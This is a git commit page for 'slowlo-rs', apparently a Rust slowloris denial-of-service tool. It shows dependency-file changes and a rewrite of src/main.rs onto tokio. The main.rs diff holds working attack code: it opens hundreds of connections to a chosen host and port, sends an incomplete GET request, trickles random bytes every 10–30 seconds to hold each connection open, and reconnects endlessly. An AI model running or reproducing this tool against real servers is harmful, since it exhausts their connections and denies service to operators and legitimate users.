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slowlo-rs
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Signed-off-by: trivernis <trivernis@protonmail.com>
main
trivernis 3 years ago
parent 5db478c64f
commit c9b9d0e9e8
Signed by: Trivernis
GPG Key ID: DFFFCC2C7A02DB45
3 changed files with 224 additions and 330 deletions
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439
Cargo.lock generated
Unescape Escape View File

@ -1,5 +1,7 @@
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# It is not intended for manual editing.
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"futures-core",
"futures-io",
"futures-macro",
"futures-sink",
"futures-task",
"memchr",
"pin-project-lite",
"pin-utils",
"proc-macro-hack",
"proc-macro-nested",
"slab",
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[[package]]
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@ -166,15 +229,6 @@ dependencies = [
"libc",
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name = "instant"
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@ -196,15 +250,6 @@ dependencies = [
"rand 0.3.23",
]
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@ -215,121 +260,72 @@ dependencies = [
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@ -355,6 +351,18 @@ dependencies = [
"version_check",
]
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name = "proc-macro-hack"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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@ -404,9 +412,9 @@ checksum = "6d71dacdc3c88c1fde3885a3be3fbab9f35724e6ce99467f7d9c5026132184ca"
dependencies = [
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"libc",
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"rand_core 0.4.2",
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"rand_hc",
"rand_isaac",
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@ -415,18 +423,6 @@ dependencies = [
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]
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name = "rand_chacha"
version = "0.1.1"
@ -437,16 +433,6 @@ dependencies = [
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]
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name = "rand_chacha"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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@ -462,15 +448,6 @@ version = "0.4.2"
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@ -480,15 +457,6 @@ dependencies = [
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source = "registry+https://github.com/rust-lang/crates.io-index"
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@ -551,72 +519,6 @@ dependencies = [
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]
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name = "simplerand"
version = "1.2.0"
@ -626,23 +528,22 @@ dependencies = [
"lazy_static",
]
[[package]]
name = "slab"
version = "0.4.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c111b5bd5695e56cffe5129854aa230b39c93a305372fdbb2668ca2394eea9f8"
[[package]]
name = "slowlo-rs"
version = "0.1.0"
dependencies = [
"fakeit",
"native-tls",
"num_cpus",
"scheduled-thread-pool",
"futures",
"structopt",
"tokio",
]
[[package]]
name = "smallvec"
version = "1.6.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
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[[package]]
name = "strsim"
version = "0.8.0"
@ -684,20 +585,6 @@ dependencies = [
"unicode-xid",
]
[[package]]
name = "tempfile"
version = "3.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
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"redox_syscall",
"remove_dir_all",
"winapi",
]
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name = "textwrap"
version = "0.11.0"
@ -717,6 +604,32 @@ dependencies = [
"winapi",
]
[[package]]
name = "tokio"
version = "1.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
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]
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version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
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]
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@ -744,12 +657,6 @@ dependencies = [
"getrandom",
]
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source = "registry+https://github.com/rust-lang/crates.io-index"
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name = "vec_map"
version = "0.8.2"

5
Cargo.toml
Unescape Escape View File

@ -7,8 +7,7 @@ edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
native-tls = "0.2.7"
structopt = "0.3.21"
fakeit = "1.1.1"
scheduled-thread-pool = "0.2.5"
num_cpus = "1.13.0"
futures = "0.3.14"
tokio = {version = "1.5.0", features = ["rt", "macros", "net", "io-util", "time"]}

110
src/main.rs
Unescape Escape View File

@ -2,14 +2,13 @@
Copyright (c) 2021 trivernis
See LICENSE for more information
*/
use native_tls::TlsConnector;
use scheduled_thread_pool::ScheduledThreadPool;
use std::io::Write;
use std::net::TcpStream;
use futures::FutureExt;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::Duration;
use structopt::StructOpt;
use tokio::io::AsyncWriteExt;
use tokio::net::TcpStream;
#[derive(StructOpt, Debug)]
#[structopt()]
@ -22,77 +21,65 @@ struct Opt {
#[structopt(short, long, default_value = "443")]
pub port: u32,
/// If the connection should use plain http
#[structopt(short, long)]
pub http: bool,
/// Number of connections
#[structopt(short = "n", long, default_value = "200")]
pub count: usize,
}
fn main() {
#[tokio::main(flavor = "current_thread")]
async fn main() {
let opts: Opt = Opt::from_args();
let pool = Arc::new(scheduled_thread_pool::ScheduledThreadPool::new(
num_cpus::get(),
));
for i in 0..opts.count {
let address = opts.address.clone();
let port = opts.port;
let https = !opts.http;
keep_alive(Arc::clone(&pool), i, address, port, https);
let mut futures = Vec::new();
let counter = Arc::new(AtomicUsize::new(0));
// create the specified amount of connections
for _ in 0..opts.count {
futures.push(connect(opts.address.clone(), opts.port, Arc::clone(&counter)).boxed());
}
thread::park();
// output some information
futures.push(
async move {
loop {
// log current number of connections
print!("\r{:0>3} Connections", counter.load(Ordering::Relaxed));
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
.boxed(),
);
// wait forever
futures::future::join_all(futures).await;
}
/// Sends Keep-Alive data to the server
fn keep_alive(pool: Arc<ScheduledThreadPool>, i: usize, address: String, port: u32, https: bool) {
if let Some(mut stream) = create_connection(&*address, port, https) {
print!("Connection {} established. \r", i);
let pool_clone = Arc::clone(&pool);
pool.execute_at_fixed_rate(
Duration::from_secs(fakeit::misc::random(5, 10)),
Duration::from_secs(fakeit::misc::random(5, 10)),
move || {
print!("Sending Keep-Alive-Header for connection {}...\r", i);
if let Err(e) = stream.write_all(&[fakeit::misc::random(0u8, 255u8)]) {
let address = address.clone();
let pool_clone2 = Arc::clone(&pool_clone);
println!("Connection {} lost: {}. Reestablishing...", i, e);
pool_clone.execute(move || {
keep_alive(pool_clone2, i, address, port, https);
});
}
},
);
/// Connects via HTTP and tries to keep the connection open
async fn connect(address: String, port: u32, counter: Arc<AtomicUsize>) {
loop {
if let Some(mut stream) = create_connection(&address, port).await {
counter.fetch_add(1, Ordering::Relaxed);
// write until writing fails
while stream
.write_all(&[fakeit::misc::random(0u8, 255u8)])
.await
.is_ok()
{
// wait a random amount between 10 and 30 seconds
tokio::time::sleep(Duration::from_secs(fakeit::misc::random(10, 30))).await;
}
counter.fetch_sub(1, Ordering::Relaxed);
}
// wait to reduce load with constantly failing attempts
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
/// Creates a single HTTP/S connection
fn create_connection(
address: &str,
port: u32,
https: bool,
) -> Option<Box<dyn Write + Send + Sync>> {
let tcp_stream = TcpStream::connect(format!("{}:{}", address, port))
.map_err(|e| {
eprint!("Failed to establish connection: {}", e);
e
})
/// Creates a single HTTP connection
async fn create_connection(address: &str, port: u32) -> Option<TcpStream> {
// connect to the specified address
let mut stream = TcpStream::connect(format!("{}:{}", address, port))
.await
.ok()?;
let mut stream: Box<dyn Write + Send + Sync> = if https {
let connector = TlsConnector::new().ok()?;
let tls_stream = connector.connect(&*address.clone(), tcp_stream).ok()?;
Box::new(tls_stream)
} else {
Box::new(tcp_stream)
};
// send simple get request and start second header field
stream
.write_all(
format!(
@ -101,6 +88,7 @@ fn create_connection(
)
.as_bytes(),
)
.await
.ok()?;
Some(stream)

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